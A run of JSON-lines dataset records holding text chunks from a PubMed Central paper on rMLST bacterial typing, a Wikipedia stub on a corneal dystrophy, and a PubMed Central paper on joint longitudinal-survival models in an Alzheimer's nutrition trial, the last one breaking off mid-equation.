to horizontal genetic exchange, leading to incongruent phylogenies ([@r17]), and as incongruence can also be generated by the saturation of variable sites, the simple act of including more sequences does not necessarily generate a reliable phylogeny ([@r29]). The generation of robust phylogenetic groupings therefore requires the appropriate choice of multiple genetic loci.\n\nThe 53 *rps* genes, which are shared and functionally conserved amongst all members of the domain, and indeed across the three domains of life ([@r49]; [@r40]), are among the few candidate loci that can be targeted by a combined taxonomic and typing system for all bacteria. Their distribution around the bacterial chromosome ([@r19]) and the increasing","metadata":{"pile_set_name":"PubMed Central"},"id":160} {"contents":"understanding of their structure--function relationships ([@r4]) represent further advantages. Using these loci for combined taxonomy and typing is an extension of the highly successful 16S rRNA gene approach ([@r57]), and it is worthy of note that previous attempts to define a set of core genes shared among all bacterial genomes have identified many, but not all, of the ribosomal subunit genes ([@r59], [@r60]; [@r8]; [@r54]). This is because there is appreciable variation at a number of the *rps* loci across the whole domain ([@r23]); however, it is the inclusion of the more variable genes that gives the subspecies resolution achieved by rMLST, and that makes it especially powerful as a universal tool. The identification, indexing and curation of the *rps* genes across the domain described here represent a","metadata":{"pile_set_name":"PubMed Central"},"id":161} {"contents":"first step in an ongoing process, equivalent to that currently undertaken for MLST schemes ([@r37]). The BIGS[db]{.smallcaps} platform can accommodate this effort, as any number of curators, each with defined editing privileges over particular schemes, can be assigned, and the system maintains logs of changes made to annotation or locus definitions ([@r30]). In addition the rMLST scheme can co-exist with any number of other schemes incorporating the same or different loci, enabling easy cross-referencing of the various schemes and the combination of, for example, rMLST with conventional MLST, antigen fine typing, or antibiotic resistance deduction from nucleotide sequences. Processing of whole-genome data using rMLST and the BIGS[db]{.smallcaps} platform is rapid -- *de novo* sequence assembly of short-read data for most bacterial genomes can be achieved in 1--2 h","metadata":{"pile_set_name":"PubMed Central"},"id":162} {"contents":"using current modest computing resources, and this will improve as longer read lengths become routine. Uploading these to the database and allele identification takes about a minute in total to obtain a complete rMLST profile. Provided comparable isolates are present within the database, accurate typing for most species can then be performed instantaneously.\n\nThere remains much debate about the bacterial species concept ([@r18]), and indeed whether bacterial 'species' meaningfully exist ([@r15]). As increasing quantities of data are accumulated, it is becoming clear that the majority of bacterial types, assigned variously to groups, genera, species, etc. on the basis of phenotypic properties, mostly represent clusters of sequence diversity, with areas of vacant sequence space between them ([@r18]). This uneven landscape of bacterial diversity, however, includes some clusters that remain distinct","metadata":{"pile_set_name":"PubMed Central"},"id":163} {"contents":"from their close relatives and are of recent evolutionary divergence ([@r48]). These small differences can have marked and stable phenotypic consequences, as exemplified by single-clone pathogens such as *B. anthracis*, *Y. pestis* and *Neisseria gonorrhoeae*. These pathogens have emerged recently, and although genetically very similar to non-pathogenic members of the same genus, their stable phenotypic properties render them biologically distinct from their close relatives and warrant distinct names ([@r1]). Ultimately, the work of systematic microbiology will continue to be the association of particular phenotypes with given genetic types, and this requires many factors to be taken into account, with the assignment of clusters to named groups on the basis of sequence divergence alone unlikely to be completely satisfactory ([@r43]). The low number of genomes currently available for type","metadata":{"pile_set_name":"PubMed Central"},"id":164} {"contents":"strains is also problematic for robust species identification, although this issue will naturally improve over time. The clusters of sequences identified with rMLST data provide a universally applicable dataset around which descriptions of bacterial diversity can be assembled, complementing methods such as whole-genome hybridization ([@r55]), which is not a practical approach for certain data, such as those obtained in metagenomic studies ([@r51]).\n\nHere we show the resolution that rMLST can achieve from the whole-domain level down to the subspecies level for the *S. pneumoniae* PMEN1 clone. Independently of the clustering algorithm used, rMLST data assigned bacteria to groups that were in agreement with the current family, order and genus designations ([Figs 1](#f1){ref-type=\"fig\"} and [2](#f2){ref-type=\"fig\"}, and Supplementary Fig. S2). Further, rMLST replicated the inter- and intra-species relationships of streptococcal isolates","metadata":{"pile_set_name":"PubMed Central"},"id":165} {"contents":"established by MLST and MLSA ([@r5]; [@r14]) approaches ([Figs 3](#f3){ref-type=\"fig\"} and [4](#f4){ref-type=\"fig\"}) and these groups were robust to the high levels of genetic exchange seen in these bacteria. Within *S. pneumoniae*, isolates belonging or closely related to the major disease-associated clones, as identified by the PMEN ([@r41]), were easily distinguished, with a high degree of resolution among isolates within the PMEN-1 clone ([@r10]), at least equivalent to that obtained with MLST ([Fig. 5](#f5){ref-type=\"fig\"}). Thus in an era of expanding sequencing capacity, rMLST represents a portable and efficient means of interpreting whole-genome data for clinical and other purposes, enabling a recently assembled draft sequence to be assigned to strain level rapidly and unambiguously. Not every locus will be required for every application, and the number of loci to include","metadata":{"pile_set_name":"PubMed Central"},"id":166} {"contents":"in an analysis will depend on the level of resolution required. For species identification, the complete sequence of any single locus is likely to be sufficient, whereas for strain-level typing, a subset will be necessary depending on the species. For monomorphic species such as *Y. pestis* and *B. anthracis*, all *rps* loci would be used, although this will be insufficient for fine-resolution typing (Supplementary Fig. S3); however, rMLST is implemented through BIGSdb which is entirely compatible with other finetyping schemes such as variable-number tandem repeats (VNTR) or canonical SNP analysis ([@r31]). Conversely for highly recombinagenic species such as *Helicobacter pylori*, approximately seven loci would give a similar resolution to standard MLST (Supplementary Table S2). Within particular species some loci are more discriminatory than others, but the discriminatory loci","metadata":{"pile_set_name":"PubMed Central"},"id":167} {"contents":"are not the same throughout the domain. Phylogenetic analysis of distantly related members of the domain may require use of protein sequences to minimize the generation of misleading relationships due to multiple substitutions and branch attraction by extreme AT- or GC-rich genomes.\n\nThe gene-by-gene approach to population genomics adopted here has a number of advantages over methods of multiple genome comparison that rely on whole-genome alignment and multiple pairwise comparisons ([@r6]; [@r11]), or the identification of informative SNPs by mapping against a related reference genome ([@r24]). Importantly, the approach does not require closed reference genomes and is highly scalable, with the time taken to analyse genomes increasing linearly with the number of genomes and loci included. Furthermore, the reanalysis of existing allele designations is not required as further data","metadata":{"pile_set_name":"PubMed Central"},"id":168} {"contents":"are added, and since the units of analysis are single genes, genomic data can be analysed irrespective of the size of the assembled contiguous sequences, or contigs, provided most loci are encompassed within a single contig, which we have shown is usually the case for protein-encoding genes in the data analysed here. The approach is also robust with respect to missing data in incomplete datasets, which makes it particularly suitable for the analysis of data generated with the current generation of parallel sequencing technologies, which have short read lengths, resulting in genome assemblies comprising multiple contigs. As allele identification is performed by the comparison of a single gene from an isolate against the entire known diversity of that locus, the method can be used to analyse highly divergent","metadata":{"pile_set_name":"PubMed Central"},"id":169} {"contents":"isolates, including those from different species or genera. The approach can be applied to any sequence string, either nucleotide or peptide, and multiple strings (loci) can be flexibly grouped into any number of 'schemes', each of which is equivalent to an MLST scheme ([@r30]).\n\nIn conclusion, the 53 *rps* genes represent a core genome that is sufficiently conserved across the whole domain to form the basis of a combined taxonomic and typing scheme, yet contains sufficient diversity for high-resolution isolate characterization. The relationships among isolates obtained with rMLST data are independent of the clustering algorithm used and robust to horizontal genetic exchange. Additional advantages of using the *rps* genes include their distribution in several chromosomal locations and the fact that they are protein-encoding, enabling the interpretation of their diversity","metadata":{"pile_set_name":"PubMed Central"},"id":170} {"contents":"with a variety of evolutionary models. Furthermore, the ribosome occupies the interface between genotype and phenotype that is a required focus of microbiology in the post-genomic era of research. For many or most clinical purposes, rMLST data will provide not only definitive but complete typing information, although in the BIGS[db]{.smallcaps} system these data can be readily supplemented with complementary typing schemes, if further resolution is required. The rMLST approach is a natural extension of the very successful use of the 16S rRNA gene for microbial taxonomy ([@r58]), with the advantages of being multilocus and containing higher levels of discrimination. The adoption of this approach is not a panacea that will in itself resolve the many issues of nomenclature and typing that are inherent in the cataloguing of the","metadata":{"pile_set_name":"PubMed Central"},"id":171} {"contents":"extensive diversity of the bacterial domain; however, as was the case with MLST at the bacterial species and genus level, rMLST will provide a universal reference point that can complement existing methods to assist in the rational interpretation of patterns of bacterial diversity.\n\nM.\u200aC.\u200aJ.\u200aM. is a Wellcome Trust Senior Research Fellow.\n\nThree supplementary figures, five supplementary tables, and a supplementary data file of amino acid sequence alignments in Fasta format are available with the online version of this paper.\n","metadata":{"pile_set_name":"PubMed Central"},"id":172} {"contents":"Subepithelial mucinous corneal dystrophy\n\nSubepithelial mucinous corneal dystrophy (SMCD) is a rare form of corneal dystrophy. It was first described in 1993 by Feder et al. Anterior to Bowman layer, deposits of glycosaminoglycan were detected and identified as chondroitin-4-sulfate and dermatan sulfate.\n\nReferences\n\nExternal links \n\nCategory:Disorders of sclera and cornea","metadata":{"pile_set_name":"Wikipedia (en)"},"id":173} {"contents":"Background {#Sec1}\n==========\n\nAlzheimer's disease (AD) is a neurodegenerative disorder characterised by a slow progressive deterioration of cognitive capacity. The pathophysiological changes begin long before clinical manifestations of the disorder, and the disease spectrum spans from clinically asymptomatic to severely impaired \\[[@CR1]\\]. The terminology of prodromal AD designates the initial mild state of cognitive impairment, whereas the dementia state represents the subsequent clinically manifest severe cognitive impairment. The specific transition between prodromal AD and the clinical diagnosis of AD dementia can be challenging \\[[@CR2]\\] as AD should not be viewed with discrete and defined clinical stages, but as a multifaceted process moving along a biological and clinical continuum \\[[@CR1]\\]. Given this underlying continuum, the moment of receiving the dementia diagnosis does not represent a discrete biological event. Nonetheless, having received","metadata":{"pile_set_name":"PubMed Central"},"id":174} {"contents":"the dementia diagnosis does indicate a certain level of disease progression. As such, the event 'AD dementia diagnosis' has been used in many studies that focus on risk factors, see for example: \\[[@CR3]--[@CR5]\\], and has obvious impact on patient care.\n\nProdromal AD trials frequently collect the time until clinical dementia diagnosis in combination with longitudinal patient information. These longitudinal patient information include clinical biomarkers or performance of patients in psychometric tests and can help to describe or understand disease progression. Yet, most studies dealing with longitudinal and survival (i.e., time-to-event) data analyse the data separately, mostly by relying on well-established statistical methods such as linear mixed models for longitudinal data and Cox proportional hazard models for survival data. However, a method that allows the simultaneous modelling of longitudinal measurements","metadata":{"pile_set_name":"PubMed Central"},"id":175} {"contents":"with a survival outcome is the joint model for longitudinal and survival data, see for example: Wulfsohn & Tsiatis (1997) \\[[@CR6]\\], Henderson et al. (2000) \\[[@CR7]\\], Tsiatis & Davidian (2004) \\[[@CR8]\\] and Rizopoulos (2012) \\[[@CR9]\\]. By combining the longitudinal and survival data into a single statistical model, joint models can account for or infer the dependencies between the two types of data. In certain situations, e.g., when it is of interest to study the association between a clinical biomarker or cognitive measure over time and the time until clinical diagnosis, a joint modelling approach is even required. More specifically, when it is of interest to study the association between a survival outcome and an endogenous time-varying covariate, such as a biomarker or another covariate measured on patients during","metadata":{"pile_set_name":"PubMed Central"},"id":176} {"contents":"the study, the traditional Cox model is not appropriate \\[[@CR10], [@CR11]\\]. First approaches to fit joint models have focused on the so-called two-stage methods, in which as a first step, a model is fit to the longitudinal data, and as a second step, the fitted longitudinal values are inserted in the Cox model. Many authors, such as Dafni & Tsiatis (1998) \\[[@CR12]\\], Tsiatis & Davidian (2001) \\[[@CR13]\\] and Sweeting & Thompson (2011) \\[[@CR10]\\], have shown that the two-stage method still provides potentially biased and inefficient estimates. In comparison, the joint model simultaneously estimates the parameters in the longitudinal and survival parts of the model, for example by relying on maximum likelihood estimation.\n\nJoint modelling is an active area in biostatistics with numerous methodological papers (within AD research, see for","metadata":{"pile_set_name":"PubMed Central"},"id":177} {"contents":"example: \\[[@CR14]--[@CR17]\\]) and has already been adopted in several clinical research fields such as cancer \\[[@CR18], [@CR19]\\] and cardiovascular disease \\[[@CR20], [@CR21]\\]. However hands-on introductions for clinicians are still limited. This paper aims to provide an introduction into the application of joint models, motivated by data from a prodromal AD trial: the LipiDiDiet trial \\[[@CR22]\\].\n\nThe LipiDiDiet trial is a randomised controlled trial, with the objective of assessing the effect of medical nutrition (Souvenaid) on cognitive functioning in patients with prodromal AD. The active component of Souvenaid is Fortasyn Connect, a specific nutrient combination designed to address nutritional requirements in the presence of AD pathology \\[[@CR23]\\]. In the paper on the LipiDiDiet trial's main results, longitudinally measured variables of cognition and time to dementia diagnosis were analysed separately. In","metadata":{"pile_set_name":"PubMed Central"},"id":178} {"contents":"the LipiDiDiet trial the effect on the longitudinally measured primary endpoint related to cognition did not reach significance in the primary model, while in secondary models significance was reached. In addition, benefits were seen on longitudinal measures of cognition and function, and brain atrophy measures, which were secondary outcome measures in the trial \\[[@CR22]\\]. A worsening of cognition is among the criteria for AD dementia diagnosis \\[[@CR24]\\]. One could hypothesise that an intervention that is effective in decreasing or preventing cognitive decline would also prevent or delay the clinical diagnosis. In this paper we show how we can use joint models to optimally utilise the relationship between the longitudinal information and the event times in order to gain understanding into the process of how an intervention affects disease","metadata":{"pile_set_name":"PubMed Central"},"id":179} {"contents":"progression. In doing so, the application of joint models reveals relevant information about the strength and the type of the associations between the longitudinal measures of cognition and the risk of an event. Moreover, we investigate the effect of differences in baseline characteristics on study outcome. Using a joint model, we can disentangle baseline confounding from the intervention effect. Throughout the analysis of the data at hand, we aim to introduce and illustrate the major steps in a joint modelling approach for the non-statistical reader.\n\nMethods {#Sec2}\n=======\n\nLipiDiDiet trial {#Sec3}\n----------------\n\nThe LipiDiDiet trial is a 24-month randomised, controlled, double-blind, multi-centre trial, performed at 11 study sites across different countries. The goal of the LipiDiDiet trial was to investigate the effects of Fortasyn Connect on cognition and related measures in prodromal AD","metadata":{"pile_set_name":"PubMed Central"},"id":180} {"contents":"patients. For this purpose, several longitudinal measures of cognitive functioning were recorded. In this paper we include two of them: the Clinical Dementia Rating sum of boxes (CDR-SB) and memory domain from a neuropsychological test battery (NTB memory domain).\n\nThe CDR-SB score reflects global clinical impression and ranges from a score of 0 to 18, with a higher score indicating a worse status. It is obtained through a semi-structured interview of patients and informants, summing scores of cognitive functioning on each of the following domain box scores: memory, orientation, judgement and problem solving, community affairs, home and hobbies, and personal care.\n\nNTB memory domain is a composite z-score based on Consortium to Establish a Registry for AD (CERAD) 10-word list learning immediate recall, CERAD 10-word delayed recall, and CERAD 10-word","metadata":{"pile_set_name":"PubMed Central"},"id":181} {"contents":"recognition. A higher z-score indicates a better memory.\n\nIndividual patients' scores were measured at baseline, where randomisation to either the test or control group took place, as well as around months 12 and 24 with an additional visit around 6 months for NTB memory domain. At each visit it was recorded whether patients had received the diagnosis of dementia. Progression to dementia was diagnosed according to criteria defined by DSM-IV, the National Institute of Neurological and Communicative Disorders and Stroke, and the AD and Related Disorders Association criteria for AD.\n\nIn this article, we focus on AD dementia as a specific form of dementia. The study sample consisted of 311 patients (modified intention-to-treat population in the LipiDiDiet main paper \\[[@CR22]\\]), of whom 57 (36%) patients in the control group and","metadata":{"pile_set_name":"PubMed Central"},"id":182} {"contents":"62 (41%) in the test group had received the AD dementia diagnosis. The median follow-up times were respectively 1.96 years in the control, and 1.94 years in the test group. Despite the randomisation procedure, a statistically significant difference between the intervention groups was found in baseline Mini--Mental State Examination (baseline MMSE, p=0.039, two-sided t-test), reflecting baseline cognitive performance. The higher baseline MMSE score in the control group denotes better performance and suggests a lower risk of receiving the dementia diagnosis in this group at baseline. Figure\u00a0[1](#Fig1){ref-type=\"fig\"} displays the histograms of baseline MMSE scores in the test and control group. For further information regarding the LipiDidiet trial, including information on the randomisation procedure, we refer to the LipiDiDiet main paper \\[[@CR22]\\]. Fig. 1Histograms of Mini-Mental State Examination at baseline","metadata":{"pile_set_name":"PubMed Central"},"id":183} {"contents":"for the test and control group. The test group contains more values at the lower end of the histogram\n\nMethodology for the standard joint model {#Sec4}\n----------------------------------------\n\nAs the name suggests, a joint model for longitudinal and survival data consists of a longitudinal sub-model and a survival sub-model. The longitudinal sub-model is typically a mixed effects model aiming to describe the shapes of the patient-specific longitudinal profiles. For continuous longitudinal data, linear mixed models can take into account that repeated measurements from the same patient may be more correlated than measurements from other patients, by including not only fixed effects but also patient-specific random effects. For background information on mixed models, we refer to Verbeke & Molenberghs (1997) \\[[@CR25]\\] and Fitzmaurice et al. (2008) \\[[@CR26]\\].\n\nIn order to formulate our longitudinal sub-model","metadata":{"pile_set_name":"PubMed Central"},"id":184} {"contents":"for the longitudinal trajectories, as a first step we investigated the observed longitudinal profiles for six randomly selected patients. Figures\u00a0[2](#Fig2){ref-type=\"fig\"} and [3](#Fig3){ref-type=\"fig\"} show the longitudinal profiles for respectively their CDR-SB and NTB memory domain observations; these figures show that there is a lot of variation between patients. Therefore, we allowed each patient to have its own trajectory, by incorporating patient-specific intercepts and slopes. For the average CDR-SB and NTB memory domain trajectories we used linear effects of time (*\u03b2*~1~) but more complicated functions of time such as quadratic or higher order polynomials, e.g., using splines, are also possible \\[[@CR27]\\]. We also tried trajectory functions for CDR-SB and NTB memory domain using quadratic time effects, but these were found to give similar results (results not shown). To model the","metadata":{"pile_set_name":"PubMed Central"},"id":185} {"contents":"effect of Fortasyn Connect, we included both a main effect of the intervention (*\u03b2*~2~) and an interaction of intervention by time (*\u03b2*~3~) in order to allow the trajectories of the intervention groups to be different over time. This is necessary, because the intervention is expected to have a gradual effect, possibly resulting in CDR-SB and NTB-memory domain levels for the test group that are worsening more slowly. Further, we included and intercept (*\u03b2*~0~) and main effects for baseline MMSE (*\u03b2*~4~) and site (*\u03b2*~5~). This resulted in the following longitudinal sub-model for the CDR-SB observations, and similarly defined for NTB memory domain $$\\documentclass[12pt]{minimal}\n \\usepackage{amsmath}\n ","metadata":{"pile_set_name":"PubMed Central"},"id":186} {"contents":" \\usepackage{wasysym} \n \\usepackage{amsfonts} \n \\usepackage{amssymb} \n \\usepackage{amsbsy}\n \\usepackage{mathrsfs}\n \\usepackage{upgreek}\n \\setlength{\\oddsidemargin}{-69pt}\n \\begin{document} $${}\\begin{aligned} \\text{CDR}_{i}(t) &= \\tilde{\\text{CDR}}_{i}(t) + \\varepsilon_{i}(t), \\\\","metadata":{"pile_set_name":"PubMed Central"},"id":187} {"contents":"\\tilde{\\text{CDR}}_{i}(t) &\\,=\\, \\beta_{0} + \\beta_{1} t + \\beta_{2}\\text{\\texttt{fortasyn}}_{i} \\!+ \\beta_{3}\\text{\\texttt{fortasyn}}_{i} \\times t\\\\ &~~~+ \\beta_{4} \\text{\\texttt{bmmse}}_{i} + \\beta_{5} \\text{\\texttt{site}}_{i} + b_{i0} + b_{i1} t, \\\\ \\end{aligned} $$ \\end{document}$$ where CDR~*i*~(*t*) are the observed values of CDR-SB for patient *i* at actual time points *t*, and the time points at which measurements take place may vary between patients. Further *b*~*i*0~ and *b*~*i*1~ denote respectively the patient-specific intercept and slope. The longitudinal profile of observed values CDR~*i*~(*t*) is broken down in a trajectory function $\\documentclass[12pt]{minimal}\n \\usepackage{amsmath}\n \\usepackage{wasysym} \n ","metadata":{"pile_set_name":"PubMed Central"},"id":188} {"contents":" \\usepackage{amsfonts} \n \\usepackage{amssymb} \n \\usepackage{amsbsy}\n \\usepackage{mathrsfs}\n \\usepackage{upgreek}\n \\setlength{\\oddsidemargin}{-69pt}\n \\begin{document}$\\tilde {\\text {CDR}}_{i}(t)$\\end{document}$ and a random error term *\u03b5*~*i*~(*t*), which is assumed to be normally distributed. The trajectory function is assumed to describe the true but unobserved trajectory","metadata":{"pile_set_name":"PubMed Central"},"id":189} {"contents":"of the longitudinal marker, and as will be seen later, is used in the survival sub-model 'joining' the two sub-models. The main effect of the intervention, *\u03b2*~2~, denotes the difference between the intervention groups at baseline, while the interaction effect *\u03b2*~3~, describes the intervention effect over time. Fig. 2Observed longitudinal profiles for CDR-SB for six randomly selected patients. A higher CDR-SB score indicates a worsening of a patient's status Fig. 3Observed longitudinal profiles for NTB memory domain for six randomly selected patients. A lower NTB memory domain score indicates a worsening of a patient's status\n\nA common choice for the survival sub-model is a Cox model, which is used to model the hazard of experiencing the event, i.e., in this case receiving the dementia diagnosis. For background information on","metadata":{"pile_set_name":"PubMed Central"},"id":190} {"contents":"Cox models, see Cox (1972) \\[[@CR28]\\], Klein & Moeschberger (1997) \\[[@CR29]\\] and Therneau & Grambsch (2013) \\[[@CR30]\\]. In case the proportional hazard assumption of the Cox model is violated, alternative modelling frameworks for the survival sub-model exist, such as the accelerated failure time model \\[[@CR31]\\]. In this paper we formulated our joint model using a Cox model. Additionally, we fitted a joint model using an accelerated failure time model which gave similar findings (results not shown). In the Cox model we included the intervention as a time-independent effect, and the estimated true trajectory of the longitudinal marker as a time-varying effect. Since there can be variation across sites in how early a patient is diagnosed, we also corrected for site in the survival sub-model. The hazard *\u03bb*~*i*~(*t*) of","metadata":{"pile_set_name":"PubMed Central"},"id":191} {"contents":"dementia diagnosis at time *t* for patient *i* is therefore modeled using the following survival sub-model, $$\\documentclass[12pt]{minimal}\n \\usepackage{amsmath}\n \\usepackage{wasysym} \n \\usepackage{amsfonts} \n \\usepackage{amssymb} \n \\usepackage{amsbsy}\n \\usepackage{mathrsfs}\n ","metadata":{"pile_set_name":"PubMed Central"},"id":192} {"contents":" \\usepackage{upgreek}\n \\setlength{\\oddsidemargin}{-69pt}\n \\begin{document} $${}\\lambda_{i}(t) = \\lambda_{0}(t) \\exp \\{ \\gamma_{1}\\text{\\texttt{fortasyn}}_{i} + \\gamma_{2} \\text{\\texttt{site}}_{i} + \\alpha \\tilde{\\text{CDR}}_{i}(t) \\}, $$ \\end{document}$$ where the parameter *\u03b1* links the longitudinal process, i.e., the trajectory function $\\documentclass[12pt]{minimal}\n \\usepackage{amsmath}\n \\usepackage{wasysym} \n \\usepackage{amsfonts} \n ","metadata":{"pile_set_name":"PubMed Central"},"id":193} {"contents":" \\usepackage{amssymb} \n \\usepackage{amsbsy}\n \\usepackage{mathrsfs}\n \\usepackage{upgreek}\n \\setlength{\\oddsidemargin}{-69pt}\n \\begin{document}$\\tilde {\\text {CDR}}_{i}(t)$\\end{document}$, or similarly $\\documentclass[12pt]{minimal}\n \\usepackage{amsmath}\n \\usepackage{wasysym} \n ","metadata":{"pile_set_name":"PubMed Central"},"id":194} {"contents":" \\usepackage{amsfonts} \n \\usepackage{amssymb} \n \\usepackage{amsbsy}\n \\usepackage{mathrsfs}\n \\usepackage{upgreek}\n \\setlength{\\oddsidemargin}{-69pt}\n \\begin{document}$\\tilde {\\text {NTB}}_{i}(t)$\\end{document}$, to the survival process. More specifically, the quantity exp(*\u03b1*) denotes the hazard ratio at time *t* for a one-unit","metadata":{"pile_set_name":"PubMed Central"},"id":195} {"contents":"increase in the trajectory of the longitudinal marker at the same time point. Further, *\u03bb*~0~(*t*) is the baseline hazard and *\u03b3*~1~ denotes a direct effect on the survival outcome. To gain a better understanding of how the intervention affects the risk of receiving the dementia diagnosis, and to explain what we mean by a 'direct effect', we distinguish three types of coefficients. These are schematically illustrated in Fig.\u00a0[4](#Fig4){ref-type=\"fig\"}. *\u03b2* describes the intervention effect on the longitudinal marker. As indicated before, there are two types of *\u03b2's* here; *\u03b2*~2~ denoting the difference in the longitudinal outcome between the intervention groups at baseline, and *\u03b2*~3~ describing the intervention effect on the longitudinal outcome over time. Secondly, since the parameter *\u03b1* measures the effect of the longitudinal process on the survival","metadata":{"pile_set_name":"PubMed Central"},"id":196} {"contents":"outcome, together, *\u03b2*~3~ and *\u03b1*, quantify the time-varying intervention effect on the risk of receiving the dementia diagnosis manifesting through the longitudinal marker. The third type of parameter involving the intervention is *\u03b3*~1~ and is directly related to the risk of receiving the dementia diagnosis. Within the joint model we can therefore distinguish the direct process (Fig.\u00a0[4](#Fig4){ref-type=\"fig\"}, bottom arm), capturing the direct effect on the survival outcome, and the indirect process (Fig.\u00a0[4](#Fig4){ref-type=\"fig\"}, upper arm), in which the coefficients quantify the indirect intervention effect on the survival outcome through the longitudinal marker. Fig. 4Schematic representation of a joint model. *\u03b2*~2~ and *\u03b2*~3~ denote the constant respectively time-varying *indirect* intervention effect on the longitudinal marker, *\u03b1* is the effect of the longitudinal marker on the survival outcome and *\u03b3*~1~ is","metadata":{"pile_set_name":"PubMed Central"},"id":197} {"contents":"the *direct* effect on the survival outcome\n\nAs is the case for the Cox model, the intervention effect in the joint model is the hazard ratio of the test versus the control group. In particular, the total intervention effect is the hazard ratio between two generic patients, *i* in the test group (fortasyn~*i*~=1) and *i*^\u2032^ in the control group ($\\documentclass[12pt]{minimal}\n \\usepackage{amsmath}\n \\usepackage{wasysym} \n \\usepackage{amsfonts} \n \\usepackage{amssymb} \n ","metadata":{"pile_set_name":"PubMed Central"},"id":198} {"contents":" \\usepackage{amsbsy}\n \\usepackage{mathrsfs}\n \\usepackage{upgreek}\n \\setlength{\\oddsidemargin}{-69pt}\n \\begin{document}$\\text {\\texttt {fortasyn}}_{i'} = 0\\phantom {\\dot {i}\\!}$\\end{document}$) who do not further differ concerning other covariates. In the joint model, this hazard ratio is a combination of the indirect and direct process. For our formulated joint model the hazard ratio for the total intervention effect denotes exp{*\u03b3*~1~ +*\u03b1*(*\u03b2*~2~+*\u03b2*~3~\u00d7*t*)}, with the first part","metadata":{"pile_set_name":"PubMed Central"},"id":199} {"contents":"(i.e., *\u03b3*~1~), for the direct process and the latter (time-varying) for the indirect process.\n\nMethodology for investigating the baseline confounding {#Sec5}\n------------------------------------------------------\n\nThe two processes of the joint model differ in how they handle the aspect of time. The indirect process can model how an intervention effect varies over time by modelling the intervention effect in the mixed model as a divergence of trajectories. In the direct process however, we are dealing with the proportional hazard assumption of the Cox regression model meaning that the direct effect on the survival outcome is assumed to be constant over the whole period. This arm is therefore likely to capture the effects already present right at the start of the intervention period. In a situation such as this one, where the effect of the","metadata":{"pile_set_name":"PubMed Central"},"id":200} {"contents":"intervention on the survival outcome - manifesting through the longitudinal marker - is expected to increase gradually over time, but an effect of any possible baseline confounding on the survival outcome is expected to be immediate, the baseline confounding will for a large extent end up in the direct arm of the model. This is a very appealing property of the joint model that makes it a very effective tool to investigate and control for the effect of potential baseline confounding.\n\nMMSE, found to be significantly different at baseline, is noted to be an important predictor for outcome parameters \\[[@CR22]\\]. This suggests that, before the start of the intervention, the test group might on average have been more likely to receive the dementia diagnosis than the control group due","metadata":{"pile_set_name":"PubMed Central"},"id":201} {"contents":"to an imbalance of baseline characteristics. This hampers the interpretability of the results as post baseline outcomes are a combination of the intervention effect and the effect of differences already present at baseline. To investigate this, we examined whether the lower baseline MMSE scores in the test group were related to higher risks of receiving the dementia diagnosis at the start of the trial, therefore possibly counteracting the intervention effect. This required fitting an additional joint model in which we corrected for the effect of the baseline MMSE score on dementia diagnosis by including its value in the survival sub-model, given by $$\\documentclass[12pt]{minimal}\n \\usepackage{amsmath}\n ","metadata":{"pile_set_name":"PubMed Central"},"id":202} {"contents":" \\usepackage{wasysym} \n \\usepackage{amsfonts} \n \\usepackage{amssymb} \n \\usepackage{amsbsy}\n \\usepackage{mathrsfs}\n \\usepackage{upgreek}\n \\setlength{\\oddsidemargin}{-69pt}\n \\begin{document} $$\\begin{array}{*{20}l} {}\\lambda_{i}(t) &= \\lambda_{0}(t) \\exp \\{","metadata":{"pile_set_name":"PubMed Central"},"id":203} {"contents":"\\gamma_{1}\\text{\\texttt{fortasyn}}_{i} + \\gamma_{2}\\text{\\texttt{bmmse}}_{i} + \\gamma_{3} \\text{\\texttt{site}}_{i}\\\\ &\\quad+ \\alpha \\tilde{\\text{CDR}}_{i}(t) \\}. \\end{array} $$ \\end{document}$$\n\nWe will illustrate how the coefficients of this extended joint model can be an effective tool to investigate and control for the effect of potential baseline confounding using the CDR-SB data from the LipiDiDiet trial.\n\nNaturally, apart from being a useful property in investigating possible baseline confounding, the combination of an immediate (direct) and a progressive (indirect) effect helps us to understand the process by which the intervention affects the risk of dementia diagnosis.\n\nMethodology for investigating the association between the longitudinal and survival process {#Sec6}\n-------------------------------------------------------------------------------------------\n\nAnother aspect of the process by which the intervention affects the timing of dementia diagnosis is determined by the type of the association between the longitudinal and the survival process. The joint model","metadata":{"pile_set_name":"PubMed Central"},"id":204} {"contents":"defined in the previous section is the standard joint model and assumes that the value of the longitudinal outcome at any time *t* is related to the risk of an event at the same time point. However, the underlying relationship between the two processes could have a more complex nature. Examples of longitudinal characteristics possibly related to dementia diagnosis, are the current value, the stability at the current moment, the history of the longitudinal profile up to now or combinations of these characteristics \\[[@CR9]\\]. For demonstration purposes we compared joint models that vary with respect to the type of association that is assumed between the longitudinal data i.e, NTB memory domain, and the survival process i.e., timing of dementia diagnosis. We investigated whether, given the current value of","metadata":{"pile_set_name":"PubMed Central"},"id":205} {"contents":"NTB memory domain, the rate of change (i.e., the slope) contains any additional information on the risk of receiving a dementia diagnosis. More specifically, the slope indicates by how much the NTB memory domain for a particular patient is increasing or decreasing at a specific time point. This required fitting a joint model in which we included the slope of NTB memory domain as an additional term in the survival sub-model, given by $$\\documentclass[12pt]{minimal}\n \\usepackage{amsmath}\n \\usepackage{wasysym} \n \\usepackage{amsfonts} \n ","metadata":{"pile_set_name":"PubMed Central"},"id":206} {"contents":" \\usepackage{amssymb} \n \\usepackage{amsbsy}\n \\usepackage{mathrsfs}\n \\usepackage{upgreek}\n \\setlength{\\oddsidemargin}{-69pt}\n \\begin{document} $$\\begin{array}{*{20}l} {}\\lambda_{i}(t) &= \\lambda_{0}(t) \\exp \\{ \\gamma_{1}\\text{\\texttt{fortasyn}}_{i} + \\gamma_{2}\\text{\\texttt{bmmse}}_{i} + \\gamma_{3} \\text{\\texttt{site}}_{i} \\\\& \\quad+ \\alpha_{1} \\tilde{\\text{NTB}}_{i}(t) + \\alpha_{2} \\text{\\texttt{slope}}_{i}(t) \\}, \\end{array} $$ \\end{document}$$\n\nwhere the slope of NTB memory domain is obtained by taking the derivative","metadata":{"pile_set_name":"PubMed Central"},"id":207} {"contents":"of the trajectory function, consisting of the fixed and random effects, that is, $$\\documentclass[12pt]{minimal}\n \\usepackage{amsmath}\n \\usepackage{wasysym} \n \\usepackage{amsfonts} \n \\usepackage{amssymb} \n \\usepackage{amsbsy}\n \\usepackage{mathrsfs}\n ","metadata":{"pile_set_name":"PubMed Central"},"id":208} {"contents":"\\usepackage{upgreek}\n \\setlength{\\oddsidemargin}{-69pt}\n \\begin{document} $${}\\text{\\texttt{slope}}_{i}(t) = \\frac{d}{dt}{\\tilde{\\text{NTB}}}_{i}(t) = 